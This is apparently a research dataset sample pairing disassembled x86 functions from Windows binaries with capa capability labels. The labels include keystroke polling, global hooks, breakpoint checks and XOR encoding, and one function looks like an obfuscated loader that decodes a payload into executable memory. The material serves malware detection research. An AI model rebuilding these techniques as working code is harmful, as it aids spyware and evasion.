joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45ba7c
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45bc27
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x45bc08
mov dl, 1
mov eax, dword [0x4153ac]
call fcn.004036e0
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.0040447c
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x45bbf7
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.004491cc
test al, al
je 0x45bbea
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x45bc38
lea eax, [ebp - 0x254]
call fcn.00409464
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x45bbea
xor eax, eax
push ebp
push 0x45bbe3
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x45bc70
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x45bbcc
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004046e4
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x45bbcc
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004046e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45bbea
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x45baed
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.004195f4
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45bc2e
lea eax, [ebp - 0x260]
call fcn.0040447c
ret

Function at 0x45c55c
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x4acc08]
cmp byte [eax + 0xa5], 0
jne 0x45c5cd
cmp dword [0x4acc20], 0
jne 0x45c58e
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x45c518
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x4acc20], eax
cmp dword [0x4acc1c], 0
jne 0x45c5a9
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x4acc1c], eax
cmp dword [0x4acc24], 0
jne 0x45c5cd
push esp
push 0
push 0
push 0x45c4bc
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x4acc24], eax
pop edx
ret
Function at 0x45c6c4
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x45c6db
add esp, 0xfffffff0
call fcn.00403a74
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041efe8
mov eax, dword [0x4aba88]
cmp word [eax + 2], 0
jne 0x45c703
mov eax, dword [0x4aba88]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045dda0
mov eax, dword [0x4abb3c]
cmp word [eax + 2], 0
jne 0x45c71d
mov eax, dword [0x4abb3c]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045df98
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x414ebc]
call fcn.004036e0
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x414ebc]
call fcn.004036e0
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0x80000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x421518]
call fcn.00428e90
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x45c8a4
mov eax, dword [0x4ab988]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00429260
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x45e508
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x4ab988]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040ca0c
test eax, eax
je 0x45c812
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408dc0
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040ca34
test eax, eax
je 0x45c826
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004046e4
mov eax, dword [0x4ab82c]
cmp byte [eax], 0
jne 0x45c85a
mov eax, ebx
call fcn.0045c9cc
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0045e6e4
mov eax, ebx
call fcn.0045f024
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45c89a
call fcn.00403acc
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45cc40
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x4acc08]
cmp dword [eax + 0x30], 0
je 0x45ccea
cmp dword [ebx + 0x94], 0
jne 0x45cce4
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45cbd0
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45cce4
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45ccaa
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45cce4
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041755c
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45ccb9
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45d7c8
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x45d7fd
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.0040456c
jmp 0x45d80a
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004044d0
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45e8c0
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45e901
mov eax, esi
call fcn.00444864
test al, al
je 0x45e901
mov eax, dword [ebx + 0x84]
call fcn.00444560
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45e901
push 0
mov eax, dword [ebx + 0x84]
call fcn.00444560
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x461f98
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x10], 0xca
jne 0x461fc6
mov eax, ebx
call fcn.00462a50
cmp dword [ebx + 0x3c], 0
je 0x461fbf
mov dword [ebx + 0x10], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x10], 0xcb
cmp dword [ebx + 0x10], 0xcb
jne 0x462037
mov edx, dword [ebx + 0x1ac]
cmp dword [edx + 0x10], 0
je 0x462029
cmp dword [ebx + 8], 0
je 0x461fe8
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1ac]
call dword [edx]
test eax, eax
jne 0x461ffa
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x462029
cmp dword [ebx + 8], 0
je 0x461fdb
cmp eax, 3
je 0x46200d
dec eax
jne 0x461fdb
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x461fdb
mov edx, dword [ebx + 0x138]
add dword [eax + 8], edx
jmp 0x461fdb
mov ecx, dword [ebx + 0x8c]
mov dword [ebx + 0x94], ecx
jmp 0x462055
cmp dword [ebx + 0x10], 0xcc
je 0x462055
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x12
mov edx, dword [ebx + 0x10]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00462060
pop ebx
ret
Function at 0x4745a0
Capabilities:
Query or enumerate registry value

Disassembly:
add esp, 0xffffff54
cmp byte [0x4ab64c], 0
jne 0x474672
mov byte [0x4ab64c], 1
xor eax, eax
mov dword [0x4ab644], eax
mov dword [esp + 0x18], 0x94
lea eax, [esp + 0x18]
push eax
call sub.kernel32.dll_GetVersionExA
cmp dword [esp + 0x1c], 3
ja 0x4745e8
cmp dword [esp + 0x1c], 3
jne 0x474648
cmp dword [esp + 0x20], 0x33
jbe 0x474648
mov dword [esp + 4], 9
push esp
push 0x20019
push 0
push 0x47467c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x474672
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x1c]
push eax
push 0
push 0x4746ac
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x474672
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
cmp byte [esp + 8], 0x31
jne 0x474672
cmp byte [esp + 9], 0
jne 0x474672
jmp 0x47465d
push 0
push 0x4746ac
push 0x4746b4
call sub.kernel32.dll_GetProfileIntA
test eax, eax
je 0x474672
mov eax, dword [0x4ab640]
call fcn.0040492c
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [0x4ab644], eax
add esp, 0xac
ret
Function at 0x477150
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x210], ecx
mov dword [ebp - 0x20c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4773b0
push dword fs:[eax]
mov dword fs:[eax], esp
cmp ebx, 1
jl 0x4771b3
lea edx, [ebp - 0x20c]
mov eax, dword [ebp - 4]
call fcn.00476c18
mov eax, dword [ebp - 0x20c]
mov edx, ebx
call fcn.0040c5f8
cmp al, 1
jne 0x4771b3
dec ebx
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 4]
call fcn.00476f30
test al, al
je 0x47733f
cmp dword [ebp - 8], 0
jge 0x4771d1
xor eax, eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
inc ebx
lea edx, [ebp - 0x210]
mov eax, dword [ebp - 4]
call fcn.00476c18
mov eax, dword [ebp - 0x210]
call fcn.00404734
cmp ebx, eax
jge 0x47721b
lea edx, [ebp - 0x214]
mov eax, dword [ebp - 4]
call fcn.00476c18
mov eax, dword [ebp - 0x214]
mov al, byte [eax + ebx - 1]
mov edx, dword [0x4abcc0]
and eax, 0xff
bt dword [edx], eax
jae 0x47721b
inc ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x228]
cmp eax, dword [ebp - 8]
jg 0x47722f
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
mov ecx, ebx
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.0047712c
cmp ebx, dword [ebp - 8]
je 0x477331
lea eax, [ebp - 0x108]
push eax
call sub.user32.dll_GetKeyboardState
mov edx, pe_nt_image_headers32
lea eax, [ebp - 0x208]
mov byte [eax], 0
inc eax
dec edx
jne 0x47725b
mov byte [ebp - 0x1f8], 0x81
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.0040390c
and eax, 0x7f
movzx eax, word [eax*2 + 0x4ab674]
mov byte [ebp + eax - 0x208], 0x81
lea eax, [ebp - 0x208]
push eax
call sub.user32.dll_SetKeyboardState
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 1
xor eax, eax
push ebp
push 0x47731e
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.0040390c
and eax, 0x7f
movzx eax, word [eax*2 + 0x4ab674]
push eax
push pe_nt_image_headers32
mov eax, dword [ebp - 4]
call fcn.00444560
push eax
call sub.user32.dll_SendMessageA
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.0040390c
and eax, 0x7f
movzx eax, word [eax*2 + 0x4ab674]
push eax
push 0x101
mov eax, dword [ebp - 4]
call fcn.00444560
push eax
call sub.user32.dll_SendMessageA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x477325
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 0
ret
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [eax + 0x230], edx
jmp 0x477392
cmp dword [ebp - 8], 0
jge 0x47734a
xor eax, eax
mov dword [ebp - 8], eax
lea edx, [ebp - 0x218]
mov eax, dword [ebp - 4]
call fcn.00476c18
mov eax, dword [ebp - 0x218]
call fcn.00404734
cmp eax, dword [ebp - 8]
jg 0x477384
lea edx, [ebp - 0x21c]
mov eax, dword [ebp - 4]
call fcn.00476c18
mov eax, dword [ebp - 0x21c]
call fcn.00404734
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.0047712c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4773b7
lea eax, [ebp - 0x21c]
mov edx, 5
call fcn.004044a0
ret
Function at 0x488bbc
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffff6c
call fcn.0042a054
push edi
push ebp
push ebx
call sub.user32.dll_AnimateWindow
push esi
call sub.user32.dll_GetDlgCtrlID
lea eax, [esp + 0x44]
push eax
mov eax, dword [esp + 4]
push eax
call sub.kernel32.dll_GetCommProperties
mov eax, dword [esp + 8]
push eax
mov eax, dword [esp + 8]
push eax
call sub.gdi32.dll_CopyMetaFileA
mov eax, dword [esp + 0x14]
push eax
mov eax, dword [esp + 0x14]
push eax
mov eax, dword [esp + 0x14]
push eax
call fcn.0042bac4
lea edx, [esp + 0x84]
mov eax, dword [esp + 0x18]
call fcn.0042a194
mov eax, dword [esp + 0x24]
push eax
mov eax, dword [esp + 0x24]
push eax
mov eax, dword [esp + 0x24]
push eax
call sub.wininet.dll_InternetCheckConnectionW
mov eax, dword [esp + 0x28]
call fcn.0042a064
lea eax, [esp + 0x38]
push eax
mov eax, dword [esp + 0x38]
push eax
mov eax, dword [esp + 0x38]
push eax
mov eax, dword [esp + 0x38]
push eax
call sub.mpr.dll_WNetGetUniversalNameA
mov edx, dword [esp + 0x40]
mov eax, dword [esp + 0x3c]
call fcn.0042a044
add esp, 0x94
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x488e4c
Capabilities:
Get common file path
Get session user name
Query environment variable
Query or enumerate registry key

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdc0
mov dword [esp], edx
push edx
push eax
call sub.user32.dll_LoadBitmapA
mov edx, edi
mov eax, ebp
call fcn.0042a124
lea eax, [esp + 0xa4]
push eax
push ebx
call sub.gdi32.dll_ResetDCA
mov eax, esi
call fcn.0042a004
mov eax, dword [esp + 0x20]
push eax
mov eax, dword [esp + 0x20]
push eax
mov eax, dword [esp + 0x20]
push eax
mov eax, dword [esp + 0x20]
push eax
lea eax, [esp + 0x20]
push eax
mov eax, dword [esp + 0x20]
push eax
mov eax, dword [esp + 0x20]
push eax
mov eax, dword [esp + 0x20]
push eax
call sub.advapi32.dll_RegEnumKeyExW
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x24]
call fcn.0042a014
mov eax, dword [esp + 0x34]
push eax
mov eax, dword [esp + 0x34]
push eax
mov eax, dword [esp + 0x34]
push eax
call sub.kernel32.dll_GetEnvironmentVariableA
mov edx, dword [esp + 0x3c]
mov eax, dword [esp + 0x38]
call fcn.0042a0f8
mov edx, dword [esp + 0x44]
mov eax, dword [esp + 0x40]
call fcn.0042a0ec
mov eax, dword [esp + 0x48]
push eax
call sub.kernel32.dll_FreeEnvironmentStringsW
mov eax, dword [esp + 0x50]
push eax
mov eax, dword [esp + 0x50]
push eax
call sub.kernel32.dll_PurgeComm
mov eax, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push eax
call sub.kernel32.dll_GetCurrentDirectoryW
mov edx, dword [esp + 0x60]
mov eax, dword [esp + 0x5c]
call fcn.0042a074
mov eax, dword [esp + 0x74]
push eax
mov eax, dword [esp + 0x74]
push eax
mov eax, dword [esp + 0x74]
push eax
lea eax, [esp + 0x14c]
push eax
mov eax, dword [esp + 0x78]
push eax
mov eax, dword [esp + 0x78]
push eax
call sub.user32.dll_ToAsciiEx
lea ecx, [esp + 0x8c]
mov edx, dword [esp + 0x88]
mov eax, dword [esp + 0x84]
call fcn.00488b60
mov ecx, dword [esp + 0x98]
mov edx, dword [esp + 0x94]
mov eax, dword [esp + 0x90]
call fcn.0042a1bc
lea eax, [esp + 0xa0]
push eax
mov eax, dword [esp + 0xa0]
push eax
call sub.advapi32.dll_GetUserNameA
add esp, 0x240
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x488f98
Capabilities:
Delete registry key
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffff9c
push edx
push eax
call sub.user32.dll_GetPropA
mov eax, ebp
call fcn.0042a0c0
mov edx, esi
mov eax, ebx
call fcn.0042a124
mov eax, dword [esp + 8]
push eax
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
mov eax, edi
call fcn.004746bc
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
call fcn.0042a02c
lea eax, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x1c]
push eax
mov eax, dword [esp + 0x1c]
push eax
call sub.mpr.dll_WNetGetResourceParentW
mov dx, word [esp + 0x24]
mov eax, dword [esp + 0x20]
call fcn.0042a188
mov eax, dword [esp + 0x30]
push eax
mov eax, dword [esp + 0x30]
push eax
mov eax, dword [esp + 0x30]
push eax
call sub.user32.dll_CharToOemBuffA
mov eax, dword [esp + 0x34]
call fcn.00433d80
mov eax, dword [esp + 0x3c]
push eax
mov eax, dword [esp + 0x3c]
push eax
call sub.advapi32.dll_RegDeleteKeyA
lea eax, [esp + 0x48]
push eax
mov eax, dword [esp + 0x48]
push eax
mov eax, dword [esp + 0x48]
push eax
call sub.advapi32.dll_RegConnectRegistryA
mov eax, dword [esp + 0x4c]
call fcn.0042a110
mov eax, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push eax
call sub.kernel32.dll_ExpandEnvironmentStringsW
mov eax, dword [esp + 0x60]
push eax
mov eax, dword [esp + 0x60]
push eax
call sub.user32.dll_LoadMenuA
add esp, 0x64
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x410414
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x410423
pop dword [ebp - 0x18]
mov eax, 0x7ea107ab
sub eax, 0x7e600388
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x556bf863
add dword [ebp - 0x28], 0xf8e64ce8
mov dword [ebp - 0x24], 0xf9ddc83c
add dword [ebp - 0x24], 0x38558409
mov dword [ebp - 0x20], 0x6880a531
add dword [ebp - 0x20], 0xe3cb9efd
mov dword [ebp - 0x1c], 0x588f079a
add dword [ebp - 0x1c], 0xa770f866
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x22c37e99
add dword [ebp - 0x28], 0x51aeeabd
mov dword [ebp - 0x24], 0xad85162e
sub dword [ebp - 0x24], 0x6c18b4b9
mov dword [ebp - 0x20], 0xea32d1de
sub dword [ebp - 0x20], 0x86c36572
mov dword [ebp - 0x1c], 0xd9ff28ab
add dword [ebp - 0x1c], 0x2600d755
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0xa7876ad5
add eax, 0x58bac64f
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3dd22
push 0
call eax
mov ecx, 0x6a1d6df9
add ecx, 0x95e2da5a
xor ebx, ebx
add ebx, eax
mov edi, 0x61fbeaa3
sub edi, 0x61b8a6a3
add edi, dword [ebp - 0x18]
mov edx, 0x75767c67
add edx, 0x924ce180
xor dword [ebp - 0x14], 0xd186c796
mov esi, dword [edi]
sub dword [ebp - 8], ecx
add esi, edx
mov dword [ebx], esi
xor dword [ebp - 0x14], esi
add ebx, 0xa3ce25cd
add ebx, 0x5c31da37
add edi, 4
loop 0x410542
add eax, 0xe15f6bfb
sub eax, 0xe15e57dc
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x5ef45dc9
sub ecx, 0x5eb45dc9
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x401205
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x401240
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x401227
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x401238
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x401242
inc edi
add eax, 0x28
cmp edi, esi
jb 0x40121d
xor eax, eax
pop edi
pop esi
ret
Function at 0x404ef0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x43f040]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x43a35c
push ecx
mov dword [ebp - 0x1c], 0xa1b2c3d4
mov dword [ebp - 0x18], 0x40002
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0x10000
mov dword [ebp - 8], 1
call fcn.00417808
add esp, 8
mov dword [0x819518], eax
test eax, eax
jne 0x404f64
push eax
push 0x43b47c
push str._nError_opening_output_file_n
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041418c
mov esp, ebp
pop ebp
ret
push eax
push 1
lea eax, [ebp - 0x1c]
push 0x18
push eax
call fcn.0041d86c
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
xor eax, eax
call fcn.0041418c
mov esp, ebp
pop ebp
ret
Function at 0x40df90
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x43f040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebx + 8]
mov dword [ebp - 0x44], eax
imul eax, eax, 0x13c
push esi
mov esi, dword [ebx + 0xc]
push edi
mov dword [ebp - 0x48], eax
cmp dword [eax + 0x9262b4], 0
jne 0x40dfda
mov eax, 0xa0100002
jmp 0x40e0e8
xorps xmm0, xmm0
movlpd qword [ebp - 0x1f], xmm0
movlpd qword [ebp - 0x17], xmm0
movlpd qword [ebp - 0xf], xmm0
call fcn.004104b0
call fcn.004227b3
mov ah, al
mov byte [ebp - 0x20], 0
movsx ecx, ah
mov edi, 1
mov byte [ebp - 0x3d], ah
movd xmm0, ecx
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
movaps xmmword [ebp - 0x60], xmm0
nop dword [eax]
call fcn.004227b3
push eax
call fcn.004227d4
add esp, 4
call fcn.004227b3
mov byte [ebp + edi - 0x20], al
inc edi
cmp edi, 0x19
jb 0x40e020
mov cl, byte [ebp - 0x3d]
sub esp, 0x1c
mov al, cl
mov byte [ebp - 0x1e], cl
xor al, 0x7d
mov byte [ebp - 0x1d], cl
mov byte [ebp - 0x1c], cl
mov byte [ebp - 0x1b], cl
mov ecx, esp
mov byte [ebp - 0x1f], al
movups xmm0, xmmword [ebp - 0x20]
mov al, byte [ebp - 8]
movups xmmword [ecx], xmm0
movq xmm0, qword [ebp - 0x10]
movq qword [ecx + 0x10], xmm0
mov byte [ecx + 0x18], al
call fcn.00410850
mov byte [ebp - 8], al
add esp, 0x1c
mov eax, dword [ebp - 0x48]
lea edi, [eax + 0x9262c8]
mov ecx, edi
call fcn.004137f0
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x44]
call fcn.00410780
add esp, 0xc
mov dword [ebp - 0x44], eax
mov ecx, edi
call fcn.00413800
lea eax, [ebp - 0x27]
lea ecx, [esi + 0xf]
cmp esi, eax
ja 0x40e0d6
lea eax, [ebp - 0x36]
cmp ecx, eax
jb 0x40e0d6
mov edx, eax
mov ecx, 0x10
mov ah, byte [ebp - 0x3d]
sub edx, esi
mov al, byte [edx + esi]
lea esi, [esi + 1]
xor al, ah
mov byte [esi - 1], al
sub ecx, 1
jne 0x40e0c4
jmp 0x40e0e5
movups xmm0, xmmword [ebp - 0x36]
movaps xmm1, xmmword [ebp - 0x60]
pxor xmm1, xmm0
movups xmmword [esi], xmm1
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0041418c
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 8